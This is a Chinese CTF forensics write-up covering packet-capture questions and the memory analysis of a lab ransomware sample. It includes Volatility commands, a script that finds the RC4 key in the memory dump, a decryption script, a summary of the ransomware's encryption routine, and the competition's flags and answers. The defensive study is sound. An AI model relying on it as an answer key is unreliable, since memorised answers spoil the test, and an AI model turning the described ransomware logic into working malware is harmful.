ICMP Echo 请求(ping 包)标准结构: IP 头 + ICMP 头(8 字节) + ICMP 数据载荷(Data 部分)

  • <font style="color:rgb(0, 0, 0);background-color:rgba(0, 0, 0, 0);">icmp.type == 8</font> = Echo Request(别人 ping 这台机器)
  • <font style="color:rgb(0, 0, 0);background-color:rgba(0, 0, 0, 0);">icmp.type == 0</font> 是应答包,不用看

ICMP_COVERT_FLAG{ping_payload_stego}

6. 对 api.corp.lab 的 GET /api/me 请求返回 200。除 JSON 体外,响应中哪条 非标准 HTTP 头 泄露了高权限备份密钥?【答案格式:A-Admin-Admin】

这是请求包,直接右键追踪TCP流

响应里有:

HTTP/1.1 200 OK
Content-Type: application/json
X-Admin-Token: TOKEN_LEAK{http_header_backup_key}

{"user":"alice"}

题目问的是 哪条非标准 HTTP 头 泄露了高权限备份密钥。

所以头名是:X-Admin-Token

7. 同一源 IP 对主机 10.10.10.200 在短时间内向多个不同目的端口发送了仅含 SYN 的 TCP 报文,请写出源 IP。【答案格式:192.168.0.1】

  • <font style="color:rgb(0, 0, 0);background-color:rgba(0, 0, 0, 0);">tcp.flags.syn == 1</font>:有 SYN 标记
  • <font style="color:rgb(0, 0, 0);background-color:rgba(0, 0, 0, 0);">tcp.flags.ack == 0</font>:无 ACK,纯 SYN 包(只发连接请求,不建立连接)
  • <font style="color:rgb(0, 0, 0);background-color:rgba(0, 0, 0, 0);">ip.dst == 10.10.10.200</font>:目标机器固定为 10.10.10.200

然后看 Source 列,或者把 Destination Port 排序。

会看到同一个源 IP 对 10.10.10.200 的多个端口发 SYN:

198.51.100.66 -> 10.10.10.200

所以源 IP:198.51.100.66

8. 客户端通过 Telnet(端口 23) 连接 10.10.10.1。流中出现登录名与口令行。请给出登录名与完整口令FLAG(含题目中的FLAG格式)。【答案格式:用户名-FLAG】

charlie-Telnet_PASS_FLAG{legacy_cleartext}

0x06 检材6-内存取证

背景

公司某员工的电脑感染了勒索病毒,所有办公文档都被加密。安全团队在病毒仍在运行时制作了内存镜像。要求从内存镜像中提取加密密钥,解密被加密的最重要文档,获取其中的 flag。

内存取证做得少,比赛不太会o(╥﹏╥)o,学习一下玫大佬https://mp.weixin.qq.com/s/yYkCCRg7RJJqTjhf0Xrr6Q

1. 该勒索进程的进程标识号(PID)是多少?【按实际值填写】

用 Lovelymem Luxe这个工具

用户HACK,找到Desktop上的文件

其实就是ransom.exe咯

8804

好吧英文不好的咱们分析一波,先提取四个文件

打开终端,执行(其实已经写在终端上了,我Ctrl C退出了)

Clear-Host

function python3 {
    & "H:\Forensics\Lovelymem_20260312\Tools\python3\python.exe" @args
}

function python2 {
    & "H:\Forensics\Lovelymem_20260312\Tools\python27\python27.exe" @args
}

function vol3 {
    & "H:\Forensics\Lovelymem_20260312\Tools\python3\python.exe" `
      "H:\Forensics\Lovelymem_20260312\Tools\volatility3\vol.py" `
      -f "Z:\检材6\HACKER-20260606-174920.dmp" @args
}

function vol2 {
    & "H:\Forensics\Lovelymem_20260312\Tools\python27\python27.exe" `
      "H:\Forensics\Lovelymem_20260312\Tools\volatility2_python\vol.py" `
      -f "Z:\检材6\HACKER-20260606-174920.dmp" @args
}

New-Item -ItemType Directory -Force -Path 'H:\2026\desktop_extract' | Out-Null
New-Item -ItemType Directory -Force -Path 'H:\2026\volcache' | Out-Null
New-Item -ItemType Directory -Force -Path 'H:\2026\symbols' | Out-Null

$env:PYTHONIOENCODING='utf-8'
vol3 -q --cache-path 'H:\2026\volcache' -s 'H:\2026\symbols' -o 'H:\2026\desktop_extract' windows.dumpfiles.DumpFiles --filter ransom --ignore-case

不知道为啥报错了,换成下面这个就行了

Copy-Item -LiteralPath 'M:\pid\8804\files\modules\ransom.exe' -Destination 'H:\2026\ransom.exe' -Force

其实在这里能看啊.....

没问题就是这个文件

答案:8804

2. 受害计算机的主机名(COMPUTERNAME)是什么? 【答案格式:ABC】

HACKER

3. 勒索软件将用户桌面下哪个子目录中的文件进行了批量加密?【仅写目录名,答案格式:abc1234_abc1234】

还是上题的函数

核心逻辑:

  1. a1 <= 1 时,先 getenv("USERPROFILE")
  2. 然后拼接目标路径:
"%s\\Desktop\\2026xzb_enc"

也就是:

C:\Users\<用户名>\Desktop\2026xzb_enc
  1. 如果命令行带参数,则改用 argv[1] 作为目标目录。
  2. 后面 CryptAcquireContextW + CryptGenRandom 生成 16 字节随机数据,应该是后续加密用的 key/material。
  3. sub_1400014C0(Destination) 大概率就是“递归遍历目录并批量加密文件”的函数。
  4. 成功后弹勒索提示框,然后一直 Sleep

2026xzb_enc

4. 附件 secret_project4.docx.enc 采用勒索家族自定义封装格式。请对该文件进行十六进制分析,该加密文件开头的 5 字节魔数(Magic)是什么?【答案格式:ABCDe 大小写需完全一致】

前 5 字节是 RNSMa

5. 真正的密文数据从文件起始偏移多少字节处开始?(从 0 计)【答案格式:数字】

跟进 sub_1400014C0:

  • fwrite("RNSM", 1u, 4u, ...) 向文件先写 4 字节魔数 "RNSM" 占用偏移 0-3
  • fwrite(&Size, 4u, 1u, ...) 再写 4 字节原文件大小 占用偏移 4-7
  • fwrite(Buffer_1, 1u, Size, ...) 最后才写 Buffer_1 里的加密后数据 所以密文起始偏移就是前两段长度之和: 4 + 4 = 8

所以上面那题不应该问前四字节吗,怪怪的

答案:8

6. 请从内存镜像中提取本次加密所使用的对称密钥,该密钥的长度是多少字节?【答案格式:数字】

总结一下sub_1400014C0:

  • 递归遍历 Destination 目录及其所有子目录
  • 只筛选指定扩展名文件
  • 把文件完整读入内存
  • 使用 16 字节随机 key 初始化 RC4 风格状态表
  • 对文件内容逐字节异或加密
  • 生成 原文件名.enc
  • 写入自定义文件格式:RNSM + 原文件大小 + 密文
  • 用随机数据覆盖原文件
  • 删除原文件
  • 返回总共处理的文件数

然后退回main:

16

7. 请写出密钥的完整十六进制表示【答案格式:无空格、无 0x】

main里这段:

v5 = HeapAlloc(GetProcessHeap(), 8u, 0x18u);
qword_14000F030 = (__int64)v5;

*v5 = -559038242;
v5[5] = -889275714;

CryptGenRandom(phProv, 0x10u, (BYTE *)(qword_14000F030 + 4))

这说明它在堆上申请了 0x18 = 24 字节,然后布局是:

  • 偏移 0x00-0x03-559038242 = 0xDEADC0DE
  • 偏移 0x04-0x13CryptGenRandom 生成的 16 字节对称密钥
  • 偏移 0x14-0x17-889275714 = 0xCAFEBABE

也就是内存里会长成:

DE AD C0 DE [16-byte key] BE BA FE CA

67个一个一个找过于逆天,来写个代码吧

from pathlib import Path
import sys


START = bytes.fromhex("DEC0ADDE")
END = bytes.fromhex("BEBAFECA")


def main() -> int:
    if len(sys.argv) != 2:
        print("usage: python find_ransom_key.py <dump_file>")
        return 1

    dump_path = Path(sys.argv[1])
    data = dump_path.read_bytes()
    hits = 0

    for i in range(len(data) - 24 + 1):
        if data[i:i + 4] == START and data[i + 20:i + 24] == END:
            key = data[i + 4:i + 20]
            print(f"offset=0x{i:x} key={key.hex()}")
            hits += 1

    print(f"total_hits={hits}")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
python H:\2026\find_ransom_key.py HACKER-20260606-174920.dmp

cb8978dde5b08227aac1c40ba91849c5

8. 请结合内存样本、导入表或静态逆向分析,对 .enc 文件中密文部分所采用的加密算法名称是什么?【答案格式:大写】

上面分析知道,RC4

9. 程序在启动加密前,通过哪个 Windows CryptoAPI 函数生成了随机密钥?(写出函数名)【答案格式:全小写】

上面分析知道,cryptgenrandom

10.勒索程序在加密完成后会向用户展示勒索提示。请从内存镜像或提取的样本字符串中分析,攻击者要求的赎金金额是多少?【答案格式:99.9 BTC】

上面分析知道,0.5 BTC

11.攻击者留下的联系邮箱是什么?【按实际值填写】

上面分析知道,n0t_r3al@pr0ton.me

12.内存镜像中还残留了受害者小张写在桌面上的一份文本文件内容。请根据镜像中的相关信息回答,该日记文件的完整文件名是什么?【按实际值填写】

摸鱼日记.txt

小张的摸鱼日记.txt
    
    
    ================================================================
      小张的摸鱼日记.txt
    ================================================================
    
    下午 2:15
    老板让我看财务发的"年度财报模板"。
    邮件标题【急!速看】,行吧,速看就速看。
    点开之后……好像没反应?算了,先去接杯水。
    
    下午 2:31
    回来桌面弹了个红框框,说我文件被加密了,
    让我转 0.5 个比特币。
    0.5 个比特币多少钱来着?我月薪都不够。
    
    下午 2:33
    冷静。先发个朋友圈。
    配文:在吗?教我一下怎么把今天从日历上删掉。
    零赞。连我妈都没赞。
    
    下午 2:40
    打给隔壁老李,占线。
    打给我对象,她说"活该谁让你上班摸鱼"。
    我没摸鱼啊,这是工作需要点的附件!
    ……好吧我确实也开着淘宝。
    
    下午 2:52
    老李终于回了,就一句:"别关机,等我。"
    然后又没声了。
    你们搞安全的能不能把话说完整啊喂!
    
    下午 3:10
    等老李的时候我重读了一遍勒索信。
    错别字三个,标点不对俩,结尾还写"祝您生活愉快"。
    被你勒索还愉快个屁。
    
    下午 3:30
    老李来了,捣鼓了十分钟,文件回来了。
    我问他怎么弄的,他说"说了你也不懂"。
    行吧大佬,奶茶我请,三杯,加料的那种。
    
    下午 3:47
    今日总结:
      1. 标题带"急"和"!"的邮件,九成九有鬼。
      2. 中招了先别慌,更别发朋友圈,没人赞。
      3. 公司一定要养一个老李。
    
    ——— 完 ———
    
    P.S. 早知道今天就请假了。
    ================================================================

13.日记中,小张在下午 2:52 联系上的那位安全同事,在电话里对他说了什么?【答案格式:引号内原文】

同上,"别关机,等我。"

14. 解密后文件的大小是多少字节?【答案格式:99999】

大小还是按.enc在4-7位

也就是0x2761

10081

15. 解密后的内部文档记载了一份供备份系统使用的认证令牌。请完整写出该 flag。【按实际值填写】

前面知道密钥cb8978dde5b08227aac1c40ba91849c5

from pathlib import Path
from Crypto.Cipher import ARC4

ENC_PATH = Path("secret_project4.docx.enc")
OUT_PATH = Path("secret_project4.docx")
KEY = bytes.fromhex("cb8978dde5b08227aac1c40ba91849c5")

data = ENC_PATH.read_bytes()
plaintext = ARC4.new(KEY).decrypt(data[8:])
OUT_PATH.write_bytes(plaintext)
print(OUT_PATH)

也可以用厨子,因为真正密文从 偏移 8 开始

可以看解出来是个zip,DOCX 解出来本质上是 ZIP 二进制,也就是 PK..

flag{m3m0ry_f0r3ns1cs_rc4_k3y_hunt_2026}